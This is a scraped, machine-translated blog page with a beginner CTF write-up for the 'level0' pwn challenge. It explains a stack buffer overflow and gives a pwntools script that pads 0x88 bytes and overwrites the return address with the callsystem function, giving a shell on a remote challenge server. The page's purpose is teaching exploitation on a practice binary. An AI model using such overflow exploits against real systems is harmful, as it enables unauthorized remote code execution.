当前位置:网站首页>PWN beginner level0
PWN beginner level0
2022-06-29 02:38:00 【Day-3】

First, look at the file format properties .
Run it and have a look .
Throw in IDA in , Look at the code .

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
Take a look at the function .

At the same time, we also found the functions that enter the server .

We just need to put read Function ret Change it to callsystem The address of , You can access the server .
Write source code :
from pwn import *
context(os='Linux',arch="amd64",log_level="debug")
content = 0
elf = ELF("Level0")
system_addr = elf.symbols["callsystem"] # 0x400596
def main():
if content == 1:
day3 = process("Level0")
else:
day3 =remote("111.200.241.244",58272)
payload = b'a' * (0x80 + 8) + p64(system_addr)
day3.recvuntil("Hello, World\n")
day3.sendline(payload)
day3.interactive()
main()



边栏推荐
- Redis master-slave replication
- String segment combination
- LabVIEW jump to web page
- Apache does not parse PHP files, but directly displays the source code
- 方法重载小结
- Wechat campaign auto like
- HashSet storing objects and how to not store the same objects
- 安装mysql5.7 并修改密码
- Troubleshooting of pyinstaller failed to pack pikepdf
- Prepare for the Blue Bridge Cup - double pointer, BFS
猜你喜欢
随机推荐
e. Difference between target and e.currenttarget
QT basics tutorial: qstringlist
学习太极创客 — MQTT 第二章(九)本章测试
Have you learned the common SQL interview questions on the short video platform?
LabVIEW jump to web page
[learning notes] subsets and questions
There is a time delay for the click event on the mobile terminal. What is the delay time? How to solve it?
MySQL binlog log cleanup
字符串替换
Eight difficulties of embedded C language
目标检测——ADAS实战
Table implements alternative adaptation through pseudo classes
Regular expression (?: pattern)
【学习笔记】子集和问题
Ctfhub web SQL injection - integer injection
To apply for a test engineer after years, the resume with high scores should be written like this
Google Borg paper
Day10 enumeration class and annotation
兰宝传感科技冲刺科创板:年营收3.5亿 许永童家族色彩浓厚
PHP的exec函数









